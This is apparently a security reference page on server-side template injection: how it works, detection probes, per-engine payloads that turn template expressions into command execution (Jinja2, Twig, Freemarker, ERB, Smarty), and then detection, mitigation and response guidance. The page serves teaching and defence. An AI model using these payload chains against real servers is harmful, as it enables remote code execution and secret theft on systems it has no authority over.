Skip to content

SSTI (templates)

When user input reaches a server-side template engine as part of the template (not as data), the attacker injects expressions the engine evaluates. In most engines this escalates to remote code execution (RCE), because the expression can reach the language runtime.

RCE on the server (most common), file and secret reads, SSRF, and leakage of the template context (internal variables, config). Impact depends on the engine and whether it runs in a sandbox.

A template engine compiles text with markers ({{ }}, ${ }, <%= %>) and evaluates them. The flaw appears when the template is built by concatenating user input (e.g. render_template_string("Hi " + name)) instead of passing it as a variable (render(template, name=name)). Don’t confuse with XSS: SSTI evaluates on the server; XSS autoescape does not mitigate it.

  • Jinja2 / Flask (Python) · Twig (PHP) · Freemarker / Velocity (Java) · ERB / Slim (Ruby) · Handlebars / Pug / EJS (Node) · Smarty (PHP) · OGNL / SpEL (Java, in frameworks).

Inject a math probe and see if it evaluates (if you get 49, there’s SSTI); then identify the engine by which syntax works or by the errors:

{{7*7}} -> 49 Jinja2 / Twig
${7*7} -> 49 Freemarker / Velocity / Spring EL
<%= 7*7 %> -> 49 ERB
#{7*7} -> 49 some (Ruby/Thymeleaf)
{7*7} -> 49 Smarty
Detection polyglot:
${{<%[%'"}}%\

By hand per engine (from expression to RCE)

Section titled “By hand per engine (from expression to RCE)”
# Jinja2 (Python) - chains vary by version
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP)
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Velocity (Java)
#set($e="exec");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)
# ERB (Ruby)
<%= system("id") %> <%= IO.popen("id").read %>
# Smarty (PHP)
{system('id')}

tplmap and SSTImap (automatic detection + exploitation), PayloadsAllTheThings (per-engine chains) and Burp for manual work.

RCE → secret exfiltration, pivot, persistence. In sandboxed engines (some Jinja2/Twig versions), the work is finding a sandbox escape.

  • Template errors in logs after input with {{, ${, <%, #{.
  • The app process spawning shells/unusual binaries (as in command injection) — a strong EDR signal.
  • WAF with SSTI probe/payload signatures and anomaly.

App and engine logs, process creation (auditd/Sysmon), egress/DNS.

  1. Don’t build templates with user input. Pass data as variables, never concatenated into the template.
  2. Use logic-less templates (Mustache) or sandboxed engines when users must supply templates; validate/limit exposed functions.
  3. Least privilege and isolation (container, seccomp) to limit RCE.
  4. Autoescape protects against XSS, not SSTI: don’t rely on it here.

Isolate the host, rotate secrets reachable by the process, hunt for persistence, and fix the template construction.

  • Atlassian Confluence — OGNL injection (CVE-2021-26084, 2021) — OGNL expression injection (a close cousin of SSTI) enabling unauthenticated RCE; mass-exploited.
  • Craft CMS / Twig apps and numerous Flask/Jinja2 applications have suffered SSTI→RCE.
  • Spring Expression (SpEL) injection in several Java products.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Math probe tested at each reflected point (identifies the engine).
  • Server-side evaluation confirmed (it’s not XSS).
  • RCE chain adapted to the engine (or sandbox escape if applicable).
  • Impact proven with a harmless command (id) in scope.